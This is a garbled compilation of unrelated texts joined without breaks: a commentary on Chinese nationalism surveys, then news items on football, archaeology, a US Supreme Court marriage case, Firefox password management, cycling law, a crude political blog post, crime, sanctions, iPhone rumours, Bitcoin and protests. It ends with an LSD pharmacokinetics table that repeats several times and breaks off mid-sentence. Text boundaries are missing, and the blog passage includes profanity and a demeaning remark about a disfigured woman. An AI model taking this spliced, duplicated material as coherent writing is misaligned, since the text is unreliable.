University of Western Australia, has been analyzing Chinese propaganda and the influence of popular opinion on China’s foreign policy on the blog South Sea Conversations. He has been a frequent challenger of the conventional wisdom on variety of topics, such as the role of PLA commentators and propagandists, with sound data-driven analysis of Chinese sources. Commensurate with his previous work, Chubb’s presentation at the Jamestown Foundation offered the same high quality of analysis based on recent survey research involving roughly 1500 respondents in five cities—Beijing, Changsha, Chengdu, Guangzhou and Shanghai—in March 2013. While all survey data should be considered carefully, the results of Chubb’s survey work raise a number of important points. · The more Chinese citizens paid attention to the Diaoyu/Senkaku islands and South China Sea disputes, the more likely they were to approve of, or at least be satisfied with, Beijing’s performance. The more Chinese citizens watched television to get their news about the maritime disputes, the more likely they were to support negotiation and compromise. · Use of Internet sources for information on the maritime disputes increases the level of dissatisfaction with Chinese government performance; however, most people (about 60 percent) get their news on the maritime territorial disputes from Chinese Central Television (CCTV). Commercial media, like the Global Times, and Internet news portals, like Sina and iFeng, have incentives to be provocative to boost viewership and revenues. The carefully controlled CCTV, however, adheres closely to the party line. · Among nine policy areas surveyed—corruption, rich-poor disparity, food and drug safety, environment, maritime territorial disputes, social practices and moral issues, legal reform, economic development, and cross-Strait unification—China’s maritime territorial disputes frequently appeared as one of the top five issues of concern. The island disputes, however, ranked significantly behind corruption, rich-poor disparity, and food and drug safety. Moreover, the territorial disputes were on par, if not a little behind, environmental degradation as well as social practices and moral issues. · The two least popular policy options among those surveyed were China’s long-stated policy of “shelve disputes, pursue joint development” and “send in the troops.” Those surveyed preferred more active options, including the kind of pressure tactics being employed like popular activism. More than 50 percent of those surveyed also supported economic sanctions, UN arbitration, guiding public opinion to give the appearance of dissatisfaction, and negotiation as options that Beijing could pursue. Chubb’s survey data provides a very different perspective on the narrative that often emerges in meetings in Beijing. Chinese analysts and officials are willing to encourage and cultivate—or at least not contradict—the notion that nationalist sentiments are strong enough to constrain China’s foreign-policy options. One prominent example of the nationalist-constraints narrative appears in Susan Shirk’s Fragile Superpower, where many of her footnotes indicate interviews with Ministry of Foreign Affairs officials as the source for this narrative. While observers must consider the possibility that Chinese officialdom perceives nationalist pressures and acts accordingly, another possibility—that Beijing wants foreigners to believe this narrative—should be considered seriously. The value of the nationalist constraints narrative is threefold. First, it paints the Chinese government as the reasonable party. If the Chinese Communist Party (CCP) were not in charge of a one-party state, then another autocratic government or a nationalist democracy might be even more assertive to assuage popular opinion. Put another way, the CCP may be worst form of Chinese government except for all the others. Second, cultivating fear of what might replace the CCP encourages foreigners to drop any notions of peaceful evolution and be invested, at least intellectually, in the survival of the CCP. As William Shakespeare observed, fear of the unknown “makes us rather bear those ills we have, than fly to others that we know not of.” Current Chinese leaders at least regularly state Beijing “pursues an independent policy of peace,” suggesting China’s ambitions can be accommodated. Third, the narrative puts Chinese officials in a good place to encourage softer policies from foreign governments and elicit information in a “help us help you” manner. The nationalist constraint narrative is plausible, because of its roots in Western thinking as much as any “fact” on the ground or interview with Chinese officials. CCP cadre and Chinese officials previously told foreign interlocutors that hardline elements in the party were rising in influence and that foreigners needed to help them stave off the hardliners with information or softer policies. Unlike the previous efforts to frame threats to good foreign relations in terms internal political dynamics, China’s nationalistic voices are visible to foreign analysts and fit nicely into concerns about China’s future trajectory. The Chinese press in both English and Chinese is filled with voices that encourage Chinese leaders to be more like Putin and blockade Philippine outposts in the South China Sea. Chubb’s data cannot be considered definitive; however, it empirically challenges the conventional wisdom about nationalism and public opinion restraining Chinese foreign policymakers. It suggests foreign analysts may be over-reading Chinese nationalism, finding what they expect to see rather than what exists—a point also made by Cornell’s Allen Carlson and Jason Oaks when they evaluated the Global Times’ editorial section. Moreover, the survey data suggests Chinese public opinion and the influence of state-controlled media are not always pernicious—something for which Beijing deserves a bit of credit. If public opinion shapes the limits of policy, then why is Beijing so resistant to UN arbitration? More than 60 percent of the respondents thought it was an acceptable policy option; yet, Beijing continues to ridicule the prospect. For example, a recent People’s Daily commentary with an official Xinhua English translation stated the Philippine effort to seek arbitration runs “against the international law and the historical truth as well as against morality and basic rules of international relations.” Beijing may not have collected similar data, and Chinese officials may have followed gamely along with foreign analysts—it is to Beijing’s advantage for foreigners to perceive nationalist threats—or may even feel genuine pressure from what they read. But a benign and innocent reading of how China and the CCP manage outsiders should not be assumed, given that Beijing has a well-developed approach to handling foreigners. At minimum, the data Chubb presented at the Jamestown Conference suggests foreign analysts should be more cautious in their appreciation of Chinese public opinion and what it means for China’s foreign-policy behavior. Peter Mattis is a Fellow in The Jamestown Foundation’s China Program and a PhD Student in Politics and International Relations at the University of Cambridge. Image: Wikimedia Commons/Shujenchang. CC BY-SA.Arsenal manager Wenger defends Mano Menezes and criticises state of football in Brazil Arsene Wenger believes Menezes should be given time Action Images Arsenal manager Arsène Wenger has defended national coach Mano Menezes and criticised the state of football in Brazil. The Seleção boss has been criticised by the local press in Brazil, with many believing he should be replaced before the nation hosts the World Cup in 2014. However, Wenger, who has been in charge of the Premier League side for 16 years, believes Menezes should be given time to work with his young squad. The Frenchman said: "He has at least one project, which is already a big thing. He seems to know what he is doing and I believe that Brazil should keep him in office until 2014. "It’s true that the team needs to mature, and it’s true that the group is very young. But in two years time the players can be at the peak of their forms." The Gunners boss also criticised the way in which the Brazilian coaches are treated, in comparison to those in Europe. "The difference between Brazil and Europe is that in Brazil, coaches live in hotels. In Europe they live in houses. Managers need to take time to work," he added. Wenger also stated that the increasing number of young Brazilians moving to Europe, such as Paris Saint-Germain signing Lucas Moura, is destroying the footballing economy in South America as money is taking over. He added: "Brazilian football seems to have lost some of its features. "Everything indicates that the commercial side of football has gained unprecedented strength and ended up destroying the education of young players. "With the economy growing stronger, Brazil can reverse this situation and keep talented players in the country." Wenger has signed a number of Brazilian players for Arsenal in the past, such as Júlio Baptista, Edu and Gilberto Silva, as well as current players André Santos and Denílson. "I have always had much luck when we brought Brazilian players to play for Arsenal," he concluded.A team of Catalan archaeologists have discovered what they believe could be one of the oldest depictions of Jesus made by the earliest Coptic Christians in Egypt. The researchers uncovered an underground structure in a series of buried tombs that date to the 6th and 7th centuries. Among the Coptic, or early Christian, images painted on the structure's walls was what lead researcher Josep Padró described as "the figure of a young man, with curly hair, dressed in a short tunic and with his hand raised as if giving a blessing." Photo courtesy of the University of Barcelona. "We could be dealing with a very early image of Jesus Christ," Padró told La Vanguardia. The researchers removed 45 tons of rock to access walls where the painting was found, which are situated among several sites Padró has been excavating for the last 20 years. The drawing is under lockdown while researchers begin to translate the inscriptions surrounding it. In 2011, archaeologists working near the Sea of Galilee discovered a 2,000-year-old booklet with what was then thought to be one of the earliest depictions of Jesus. The booklet reportedly bore the inscription ‘Saviour of Israel’, but its authenticity was later questioned.NINETEEN years after a district court first allowed gay couples to marry in Hawaii, the Supreme Court could be poised to do so nationwide. If so, its ruling will be final, unlike the one in Hawaii, which was swiftly rejected by voters. Everything hinges on how the nine justices respond to the two-and-a-half-hours of oral argument they heard on April 28th. Popular support for gay marriage has surged (see chart). Some 27% of Americans supported it in 1996; today, 55% do. Nearly 400,000 gay couples have tied the knot, estimates Gallup. Over two-thirds of Americans live in states where same-sex marriage is legal. Only 13 states still ban it, including Ohio, Michigan, Kentucky and Tennessee, which are parties to the four cases before the court collectively known as Obergefell v Hodges. Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks. These cases involve gay couples who have suffered because the state where they live frowns on same-sex marriage. For example, Pam and Nicole Yorksmith (pictured) were married in San Francisco but live in Kentucky. One day their four-month-old son had breathing difficulties. Pam rushed him to a hospital just over the border in Ohio. But the hospital did not recognise that a child can have two mothers, and Nicole’s name was already in their records. So Pam was not allowed to give a parent’s permission for doctors to treat her child. It took an hour for hospital staff to reach Nicole, as the baby coughed and wheezed. All the other couples have tearjerking stories, too. Indeed, such stories are now common (see article), as is inevitable when some states allow marriage equality and others don’t. The argument for striking down state bans on same-sex marriage is simple. The constitution says that no state may deny anyone within its jurisdiction “the equal protection of the laws”. Telling gay people they cannot marry would appear to violate that. Also, the constitution requires each state to give “full faith and credit” to “the public acts, records, and judicial proceedings of every other state”. This suggests that gay marriages performed legally in one state should be valid in others. Arguing in favour of the state bans, John Bursch, a lawyer for Michigan, contended (seven times) that changing the definition of wedlock would bring undesirable consequences for society. Marriage would become unmoored from its raison d’être: raising children. A child who grows up “believing that marriage is about keeping that couple bound to that child forever” might fare better than a child whose parents’ marriage “is more about their emotional commitment to each other,” he said. Liberal justices were not persuaded. By opening marriage to same-sex couples, “you’re not taking anything away from heterosexual [ones],” Justice Ruth Bader Ginsburg said. Justice Stephen Breyer noted that plenty of gay couples have kids, and “a very high percent” of heterosexual couples do not or cannot procreate. Justice Sonia Sotomayor asked why a “feeling which doesn’t make any logical sense” should “control our decision-making”. Justice Anthony Kennedy, who is often the swing vote on the court, criticised Mr Bursch’s argument that “only opposite-sex couples can have a bonding with the child”. That, he said, is “just a wrong premise”. Still, several justices seemed nervous about tinkering with an institution that has existed for millennia. Chief Justice John Roberts observed that no dictionary “prior to about a dozen years ago” would have described marriage as anything but a “unity between a man and a woman”. Others worried that it would be presumptuous for the court to overrule voters. “It’s very difficult for the court to say, ‘oh, well, we know better’,” said Mr Kennedy. Perhaps it would be wiser to wait and see whether gay marriage does, in fact, cause some kind of harm, wondered Mr Breyer. Donald Verrilli, the solicitor-general, delivered a thundering rebuke to such arguments. “Gay and lesbian couples live openly as our neighbours...raise their children side by side with the rest of us [and] contribute fully as members of the community.” It is “simply untenable”, he said, that “they can be required to wait” for equal protection. “They deserve it now.” A decision is expected in June.Mozilla engineers have started work on a project named Lockbox that they describe as "a work-in-progress extension [...] to improve upon Firefox's built-in password management." Mozilla released the new extension for employee-use only at first, but users can install it by going to this or this links. Lockbox revamps Firefox's antiquated password management utility with a new user interface (UI). A new Firefox UI button is also included, in case users want to add a shortcut in their browser's main interface to open Lockbox without going through all the menu options. Support for a master password is included, helping users secure their passwords from unauthorized access by co-workers, family members, or others. There are no public plans on Lockbox's future at the moment, but Mozilla will most likely ship it with Test Pilot for some user testing before deciding if to deploy it in the stable branch. Firefox Test Pilot is a Firefox add-on that allows users to install, test, and vote on experimental features that may be added to Firefox in the future. Mozilla has tested several other Firefox features inside Test Pilot before [1, 2]. For example, Firefox's new built-in page screenshot utility — launched through Firefox 55 and 56 — was also tested via Test Pilot. At the moment, Mozilla engineers say Lockbox has only been tested on Firefox 57 and above and that installing on Firefox 56 or lower may not function at all. Also, there's no way to reset the Lockbox master password (at the moment).A 27-year-old rider who was issued a fixed-penalty notice for stopping in front of an advanced stop box occupied by a car is appealing the fine after donors kicked in over £2000 to help with his legal fees. Alex Paxton was issued the notice for allegedly jumping a red light last month. He had positioned himself ahead of an advanced stop box blocked by a motorist at the junction of Fulham High Street and New King’s Road in London. Alex had intended to position himself in the cyclists’ box in order to turn right. In order to avoid having to cross three lanes of moving traffic, he decided to position himself ahead of the traffic and ahead of the advanced stop line (ASL). A police officer witnessed the alleged offence and radioed a colleague, who stopped Alex along the road he had turned into and gave him the fixed-penalty notice. Having not seen the incident, the officer that issued the fine could not assess the greater risk Alex would have been in had he positioned himself behind the white line. Alex was unaware whether the car driver had also been given a fixed-penalty notice. Unlike many cyclists who begrudgingly pay fixed-penalty notices, Alex decided to contest it in court after receiving advice from the Cyclists’ Defence Fund. An appeal set up to raise the £2,000 that the case is estimated to cost exceeded the target in just 4 days and has now raised over £2,300. Alex said: “My resolve probably would have faltered taking this to court had there not been such overwhelming support from fellow cyclists to back my case.” Advanced Stop Lines are suposed to make junctions safer for cyclists by allowing them to move away ahead of motor vehicles. However, cyclists are only supposed to access advanced stop boxes via filter lanes or dotted access lines on the box, and the law is unclear on how cyclists are supposed to act if they find a box occupied. Rhia Weston, CTC’s Road Justice campaigner said: “The Department for Transport plans to make amendments to the regulation governing ASLs to overcome the problems of accessing ASLs. The fact that such changes are in the pipeline gives hope that the DfT will also clarify the law governing what a cyclist should do if an ASL is illegally occupied by a vehicle. “CDF agreed to support his legal challenge on the basis that it could set a legal precedent around the enforcement of ASLs.”Mitt Romney says John McCain earned his homes. All 14 of them, presumably, including the 12 he couldn’t find on a map if his life depended on it. Speaking to reporters at a lunch sponsored by the Christian Science Monitor, Romney said that while McCain deserved his houses because of the “hard work” of himself and his family, “Barack Obama got a special deal from a convicted felon.” As the article linked here explains, there’s all kinds of nuance and context to Mitt’s comments. I’d like to poke at the whole “earned/deserved” meme a little, though. To review: McCain had the good sense to be born to the right people. He married a woman with more money than God. (Okay, technically he re-married here after ditching Wife 1.0; I mean, how many houses are you going to earn by schlepping around with an under-producing disfigured chick, right?) He’s worked his butt off in the Senate, if you call that work. That’s a pretty impressive leap in income, huh? I’m personally not going to get twisted about how many houses Johnny McSame owns, and while there’s a certain obscenity to owning more houses than you can remember, I’m fine with the idea that people get rich and I like the idea that when they do they spend it. I mean, somewhere out there real working people were employed and made money off all that house building and decorating, right? But I think it’s time we all called bullshit on the “earn/deserve” rhetoric. When you bust your ass 12 hours a day at a job that takes years off your life, then you’ve earned something. When you start with nothing and make it up the ladder through hard work and ingenuity, then you deserve what you have. When you’re born into the right family and get to the top because, well, you started out there, please, with all due respect, shut the fuck up. Of course, we live in an era of pathological doublespeak and all too often we’re not educated enough to call the purveyors on their fork-tonguery. Obama’s an elitist. Kerry is an elitist. Hell, I grew up working class in the South, mortgaged my future with student loans that I may get paid off in a few more years, and I’ve been called an elitist. But our president, a halfwit who was born into one of America’s most powerful political and financial dynasties, has never been called an elitist despite being the closest thing the nation has to a dynastic aristocrat. Because he’s the sort of guy you could have a beer with. Then again, Mitt’s not exactly Mr. Everyman, either. So maybe his perspective is a little skewed. But at least he isn’t an elitist, right?SEATTLE -- A shooting-heavy week in Seattle continued early Saturday when a 26-year-old man was shot by two would-be robbers in the University District, according to the Seattle Police Department. According to police, the victim was confronted by two men around 1 a.m. in the 4500 block of Ninth Avenue Northeast. One of the men started hitting the victim with a bat, and when the victim raised his arms to protect himself, the other man pulled out a gun and fired two shots, according to police. The victim was struck in the arm and started running. The two men ran off in the other direction. The victim was able to get help at a nearby nightclub and was taken to the hospital with non-life-threatening injuries. Officers were unable to find the two men, and robbery detectives are continuing to investigate.China announced a new decree to ban exports of dual-use items that could be used to build conventional weapons in North Korea. File Photo by Stephen Shaver/UPI \| License Photo Jan. 26 (UPI) -- China has banned the export of dual-use items -- goods that can be used to develop conventional weapons -- to North Korea. Beijing's ministry of commerce, ministry of industry and information technology, atomic energy authority and customs agency announced the "Enforcement Decree of Export Exclusion," Voice of America reported Thursday. A detailed list of embargoed goods released on Dec. 16 by the United Nations Security Council sanctions committee, which includes eight items ranging from electronics and communication devices to "special materials," was included on the Chinese list, VOA reported. Among the items were materials, equipment and technology that could go toward building conventional weapons. The decree is unprecedented because it includes dual-use items for conventional weapons. In June 2016, China announced a ban on the export to North Korea of dual-use items that could be used to build nuclear weapons, in compliance with U.N. Security Council Resolution 2270, adopted last March. If sanctions were properly enforced, it would be difficult for North Korea to import the materials it needs for weapons buildup. The U.N. Security Council is also monitoring exports of coal from North Korea in real time, in order to check whether U.N. member states, like China, are in compliance with the latest sanctions resolution that targets Pyongyang's nuclear weapons program by tightening restrictions on coal. North Korea coal exports are expected to decline significantly following the adoption of sanctions Resolution 2321 in November.iPhone 8 concept image via Thadeu Brandão "We believe the glass back cover is conducive to wireless charging as it reduces signal interference versus a metal casing," Sur wrote. "It is possible for Apple to add proprietary features such as fast charging or extended charging to differentiate itself from the pack and enhance the value of its own hardware ecosystem." A future version of the iPhone could use a customized wireless charging system created in partnership with Broadcom, according to JPMorgan analyst Harlan Sur (via CNBC ).While Apple and Broadcom have reportedly been working together on a wireless charging solution for approximately two years, Sur is not sure whether the feature will be included in the 2017 iPhone due to "caution around the battery-related recall" of the Samsung Galaxy Note 7.Despite Harlan's caution, the upcoming 2017 "iPhone 8" is widely rumored to include some kind of wireless charging solution, but details on how it is being implemented and whether or not Apple is working with a partner like Broadcom remain unknown at this time.Past rumors have suggested wireless charging partnerships and supplier deals with Lite-On Semiconductor Pegatron, and Luxshare, making it difficult to suss out Apple's wireless charging plans.Harlan's research note also echoes previous rumors pointing towards a glass body for future iPhones, which many analysts believe is being implemented to facilitate wireless charging.Early wireless charging rumors suggested Apple would use a long-range wireless charging solution, but more recent speculation suggests the company may instead opt for an Apple Watch-style inductive charging solution. A glass body, as is rumored, would be necessary for an inductive charging option, and Apple also recently joined the Wireless Power Consortium, a group committed to the open development of the Qi wireless charging standard used in devices like the Samsung Galaxy.Along with wireless charging, Apple's 2017 iPhone is rumored to include a radical redesign, featuring the aforementioned glass body and an edge-to-edge ~5-inch OLED display that eliminates the device's Home button. Rumors suggest this device will be positioned as a high-end "premium" model that could cost upwards of $1,000, and most sources believe it will be sold alongside two more affordable 4.7 and 5.5-inch devices that resemble the iPhone 7 and the iPhone 7 Plus.Rumors disagree on exactly what material the two regular-sized devices will be made from, and whether or not they will include wireless charging as well.For full details on what to expect from the flagship OLED iPhone 8 and its two companion devices, make sure to check out our dedicated iPhone 8 roundup, which is updated regularly with new rumors.VMware recently upgraded their mylearn.vmware.com site which among other things is used to track your VMware Education and Certification acheivements. The coolest feature of the new site is the ability to generate a URL to share your Certification certificates with the world (read: prospective employers) like this. To generate your own, login at mylearn.vmware.com, select My Transcript on the right and your certs will show up in a list like: Click the Share icon and you’ll be presented with the URL (the one I linked above) which goes to a PDF of your certificate or a different URL which someone can use along with your cert number and the Authorization Code presented to verify your status. I prefer the PDF but it’s cool either way. Bonus feature: Note the certification date listed on your certificate. Now that exam-specific numbers have gone away (most weren’t accurate anyway) you now have very specific proof of how early you were in the program. Next step: a chart from VMware showing exam launch dates!Thousands of Native Hawaiians and other residents mobilized in Waikiki on Sunday for the “Aloha Aina Unity March” — a massive show of strength that organizers hope to translate into ongoing political actions. “This is about political pressure,” said organizer Tiare Lawrence, pointing to volunteers collecting information and helping register voters at the event. “I think next year a lot of people’s seats are going to be up for grabs. This is about getting people into office who are committed to protecting our land and sacred spaces.” The march was by far the largest in Hawaii since protests erupted across the state last spring over construction of the Thirty Meter Telescope on Mauna Kea. Cory Lum/Civil Beat The arrests of protesters on the mountain served as a lightning rod for many Native Hawaiians, said Kuhio Lewis, who helped organize the march. “Hawaiians, I have always felt, are a sleeping giant,” Lewis said. “I think Mauna Kea has awakened Hawaiians.” Sunday’s event, which started on Saratoga Road and ended several hours later at Kapiolani Park, was about more than TMT, participants said. The march brought together representatives from more than 30 groups concerned with a range of land preservation issues — from telescopes on Haleakala to GMOs. “This is something we’ve been hoping to see for a long time,” said Jeri DiPietro, president of the anti-GMO nonprofit Hawaii SEED. “Bringing together the aloha aina issues will help define them and make our messaging clearer to the masses.” Though the full size and scope of the march was difficult to ascertain, marchers clearly numbered in the thousands. Some event organizers and a police officer along the route estimated the crowd to be as large as 10,000 to 11,000 people. “People are rising up and coming together to have a stronger voice,” said Lori Halemano, who was one of the protesters arrested atop Mauna Kea in June. Cory Lum/Civil Beat Police blocked off two lanes of traffic along Kalakaua Avenue for the marchers, who stopped frequently along the way to chant, sing and blow the pu. The blowing of conch shells could be heard up and down the street, along with shouts of “ku kiai mauna” or “guardians of the mountain.” Along the way, marchers were greeted with occasional honks of support from passing drivers and a few words of encouragement. “This is working,” one man called out as he drove by in a white van. “Stay strong.” The event was planned for Sunday because it was a day off for the International Astronomical Union’s triennial conference, held this year at the Hawaii Convention Center. At a press conference last week, protesters had issued an invitation to the visiting astronomers to join them at the march to learn about the land hosting the conference and multiple telescopes. It was unclear how many astronomers showed up, but the event was hard to miss for thousands of tourists in Waikiki. Cory Lum/Civil Beat Some thought the march was a parade and used selfie sticks to pose for pictures in front of marchers dressed in malo or loin cloths. A few told protesters that their hotels had warned them about the march, and advised them to stay away. Still, marchers passing out fliers along the route drew many tourists into amiable conversation. Dina Marra, a 26-year-old from Florida, said she was unaware of the issues surrounding Mauna Kea and TMT before arriving in Hawaii for her vacation. Talking to one of the marchers gave her a respect for the people of Hawaii, she said. “The reason we came here is because it’s beautiful and sacred,” she said. “Protecting the environment is important.” The march took more than two hours to make its way down Kalakaua. When the group leading the march reached the Prince Kuhio statue on the eastern end of Waikiki, the final groups were leaving Saratoga Road — over a mile away. “I think what will come out of this is state agencies that are much more careful with our public trust lands,” said University of Hawaii Professor Jonathan Osorio. “I think what comes out of this is many more people going to public meetings and speaking up and a much more active citizenry.”The price of Bitcoin, the most popular digital crytpo-currency, has skyrocketed this year. According to Coindesk, bitcoins are currently trading for $2,483 per coin. The price is an all-time record, and the remarkable valuation blows earlier price spikes out of the water. Bitcoins have more than doubled since the beginning of 2017, when they hovered around $1,000 per coin. Bitcoin broke the $2,000-per-coin barrier on Saturday. The run-up has led to increased interest in lesser-known digital currencies, like Etherium and Ripple. Ethereum, which is backed by large companies working on blockchain projects, has jumped in value from $8.24 at the beginning of the year to $203.30, according to CNBC. Ethereum prices began climbing in March, around the time when Bitcoin investors started "getting jittery" about whether Bitcoin software would be able to handle the increased level of transactions. Looking at the market capitalization for all cryptocurrencies, Techcrunch notes that Bitcoin now makes up just 47 percent of the total market value. Guessing what's behind the price increase is inevitably speculative. CBS news quotes market watchers who think digital currency value is being pushed up by economic instability in places like Russia, Nigeria, and South Korea. At Fortune, Jeff John Roberts argues that the mainstreaming of Bitcoin means that "investors see it as a new asset class" and are backing hedge funds to acquire it. Regulators in Japan and China have taken steps recently to formalize trading in Bitcoins, which has increased investment from Asia. Price run-ups like this lead to "if only" type of thinking. Marketwatch published one portfolio manager's "regret" chart, showing that an investment of $1,000 USD in Bitcoin in July 2010 would be worth more than $35 million today. A $1,000 investment in a fund tied to the S&P 500 index would be worth around $2,500. The price of Bitcoin has been highly volatile over the years, and it hasn't just moved in one direction. Bitcoins jumped to nearly $1,000 each in late 2013, but then plummeted in value, taking more than three years to rise back to that price point. 2017 is certainly a heady year for Bitcoin fans, but whether the crypto-currency gains widespread acceptance or ends up more like the 17th century Dutch tulip bubble, remains to be seen.When we reviewed the Sony Xperia Z Ultra, it was with the C6802, a HSPA+ model devoid of LTE bands. However, it seems that a speedy 4G version of the handset will arrive stateside soon, if this recent FCC listing is any indication. The document shows what is clearly the Sony Xperia Z Ultra, but with HSPA+ and LTE bands that are more compatible with T-Mobile, AT&T or any of the carriers in the Great White North. This means it's likely the C6806, the handset's North American cousin, all set up to take advantage of the super-fast network on this side of the pond. It doesn't look like there's too much else differentiating it from the international model however, so we'd take a gander at the review one more time to decide if it belongs on our wish list. Update: We've updated the post to reflect the possibility that this phone is headed to networks other than AT&T.RIO DE JANEIRO — Students are taking over Rio de Janeiro schools to protest crippling education cuts, while the politician who helped bring the Summer Olympics to this city is battling allegations that he pocketed millions in bribes. Grenade blasts from drug-gang battles echo through Leblon, the seaside bastion of the city’s elite. Even the governor’s daughter was recently mugged at gunpoint outside her home. When Brazil’s new leader, Michel Temer, took the reins of the nation this month — a milestone in the caustic fight to oust President Dilma Rousseff, who faces an impeachment trial — he promised a new day of “national salvation.” But what Mr. Temer did not mention is that his political party and its allies have wielded immense power here in the oil-rich state of Rio de Janeiro for most of the past decade — and this place needs a whole lot of saving, too.It's a classic urban fear. A woman gets into a cab late at night and is attacked by the driver.New York City's police added fuel to that fear with statistics showing 14 of the city's reported rapes last year, and two already this year, were committed by for-hire cabbies. And Police Commissioner William Bratton raised eyebrows with comments on the phenomenon that some felt blamed the victims."One of the areas of concern that we have is particularly young women coming out of clubs and bars," Commissioner William Bratton said during a radio interview on WNYC. "They're by themselves and intoxicated getting into a cab... and we've seen an increase in assaults in those instances. So we're encouraging women to adopt the buddy system."Some women who spoke to
1.1±0.6 6.8±2.6 29.3±19 49.6±33 17.1±8.6 96.1±51 female 8 3.5±2.8 2.0±2.3 0.58±0.3 6.0±3.3 27.3±13 22.3±9* 13.4±6.8 62.9±18 N= LSD O-H-LSD 0–8 hours 8–16 hours 16–24 hours 0–24 hours 0–8 hours 8–16 hours 16–24 hours 0–24 hours Urinary concentrations (ng/mL) all 16 0.96±0.8 1.1±1.8 0.70±0.6 8.3±4.7 17.7±11 14.4±10 male 8 0.78±0.4 0.82±0.2 0.66±0.6 6.6±3.4 22.7±14 11.2±7 female 8 1.1±1.0 1.5±2.6 0.74±0.7 9.9±5.4 12.7±5.3 17.6±12 Urinary volume (L) all 16 1.4±0.7 0.79±0.4 0.47±0.3 male 8 1.8±0.8 0.86±0.5 0.63±0.2 female 8 1.1±0.5 0.71±0.4 0.30±0.2 Urinary recovery (nM) A e0-24 all 16 3.6±2.6 2.0±1.7 0.82±0.5 6.4±2.9 28.3±15 35.9±27 15.3±7.8 79.5±41 male 8 3.8±2.4 2.0±0.8 1.1±0.6 6.8±2.6 29.3±19 49.6±33 17.1±8.6 96.1±51 female 8 3.5±2.8 2.0±2.3 0.58±0.3 6.0±3.3 27.3±13 22.3±9* 13.4±6.8 62.9±18 View Large Table 2. N= LSD O-H-LSD 0–8 hours 8–16 hours 16–24 hours 0–24 hours 0–8 hours 8–16 hours 16–24 hours 0–24 hours Urinary concentrations (ng/mL) all 16 0.96±0.8 1.1±1.8 0.70±0.6 8.3±4.7 17.7±11 14.4±10 male 8 0.78±0.4 0.82±0.2 0.66±0.6 6.6±3.4 22.7±14 11.2±7 female 8 1.1±1.0 1.5±2.6 0.74±0.7 9.9±5.4 12.7±5.3 17.6±12 Urinary volume (L) all 16 1.4±0.7 0.79±0.4 0.47±0.3 male 8 1.8±0.8 0.86±0.5 0.63±0.2 female 8 1.1±0.5 0.71±0.4 0.30±0.2 Urinary recovery (nM) A e0-24 all 16 3.6±2.6 2.0±1.7 0.82±0.5 6.4±2.9 28.3±15 35.9±27 15.3±7.8 79.5±41 male 8 3.8±2.4 2.0±0.8 1.1±0.6 6.8±2.6 29.3±19 49.6±33 17.1±8.6 96.1±51 female 8 3.5±2.8 2.0±2.3 0.58±0.3 6.0±3.3 27.3±13 22.3±9* 13.4±6.8 62.9±18 N= LSD O-H-LSD 0–8 hours 8–16 hours 16–24 hours 0–24 hours 0–8 hours 8–16 hours 16–24 hours 0–24 hours Urinary concentrations (ng/mL) all 16 0.96±0.8 1.1±1.8 0.70±0.6 8.3±4.7 17.7±11 14.4±10 male 8 0.78±0.4 0.82±0.2 0.66±0.6 6.6±3.4 22.7±14 11.2±7 female 8 1.1±1.0 1.5±2.6 0.74±0.7 9.9±5.4 12.7±5.3 17.6±12 Urinary volume (L) all 16 1.4±0.7 0.79±0.4 0.47±0.3 male 8 1.8±0.8 0.86±0.5 0.63±0.2 female 8 1.1±0.5 0.71±0.4 0.30±0.2 Urinary recovery (nM) A e0-24 all 16 3.6±2.6 2.0±1.7 0.82±0.5 6.4±2.9 28.3±15 35.9±27 15.3±7.8 79.5±41 male 8 3.8±2.4 2.0±0.8 1.1±0.6 6.8±2.6 29.3±19 49.6±33 17.1±8.6 96.1±51 female 8 3.5±2.8 2.0±2.3 0.58±0.3 6.0±3.3 27.3±13 22.3±9* 13.4±6.8 62.9±18 View Large PK-Pharmacodynamic Relationship Figure 2 shows the effects of LSD as a function of plasma concentration. There was a close relationship between the LSD concentration and its dynamic effects overt time. No hysteresis was found for heart rate (Figure 2a), blood pressure (Figure 2b), or bad drug effect (Figure 2g). The 95% CIs of the mean of the area within the hysteresis loops (A H ) overlapped with 0 for heart rate (4.4 beats×ng/min×mL [-13 to +22]), blood pressure (-5 mgHg×ng/min×mL [-24 to +13]), and bad drug effect (5%×ng/min×mL [-29 to +38]), indicating no hysteresis. Counterclockwise hysteresis (negative A H value) was observed, attributable to relatively higher plasma levels compared with the dynamic effects during the assumed drug absorption phase (0–2 hours) for body temperature (Figure 2c), pupil size (Figure 2d), any drug effect (Figure 2e), and good drug effect (Figure 2f). Mean A H values (95% CI) were the following: body temperature (-1°C×ng/min×mL [-1.5 to -0.5]), pupil size (-1.4 mm×ng/min×mL [-2.2 to -0.7]), any drug effect (-78%×ng/min×mL [-113 to -43]), and good drug effect (-106%×ng/min×mL [-151 to -61]). The decline of the response to LSD and plasma concentration over time followed a sigmoidal E max dose-response curve for any drug effect and good drug effect. The EC 50 mean±SD values were 1.3±0.7ng/mL for any drug effect and 1.0±0.5ng/mL for good drug effect. Heart rate, blood pressure, body temperature, and bad drug effect linearly increased with plasma concentrations of LSD and did not show an E max (Figure 2a-c, g). Not enough values were available to fit changes in pupil size. No clockwise hysteresis was observed for any of the concentration-effect curves, meaning that the dynamic values were higher later in time at a given plasma concentration and consistent with no acute tolerance to the effects of LSD. LSD produced acute adverse effects, including difficulty concentrating, headache, exhaustion, and dizziness lasting up to 24 hours and as reported elsewhere (Schmid et al., 2014). There were no severe adverse effects. Figure 2. View largeDownload slide Lysergic acid diethylamide (LSD) effects plotted against LSD plasma concentrations (geometric means). The pharmacodynamic values are the mean±SEM differences from placebo at each time point in 16 subjects. The time of sampling is noted next to each point (in hours after LSD administration). Heart rate (a), mean arterial pressure (b), and bad drug effect (g) showed no hysteresis. Counterclockwise hysteresis was observed for body temperature (c), pupil size (d), any drug effect (e), and good drug effect (f), consistent with a delay between plasma concentration and effect. For most dynamic variables, maximal plasma concentrations (at approximately 2 hours) coincided with maximal dynamic effects. The dynamic changes then gradually decreased over time with decreasing plasma levels. No evidence of acute tolerance (clockwise hysteresis) was observed for any of the dynamic effects of LSD. Figure 2. View largeDownload slide Lysergic acid diethylamide (LSD) effects plotted against LSD plasma concentrations (geometric means). The pharmacodynamic values are the mean±SEM differences from placebo at each time point in 16 subjects. The time of sampling is noted next to each point (in hours after LSD administration). Heart rate (a), mean arterial pressure (b), and bad drug effect (g) showed no hysteresis. Counterclockwise hysteresis was observed for body temperature (c), pupil size (d), any drug effect (e), and good drug effect (f), consistent with a delay between plasma concentration and effect. For most dynamic variables, maximal plasma concentrations (at approximately 2 hours) coincided with maximal dynamic effects. The dynamic changes then gradually decreased over time with decreasing plasma levels. No 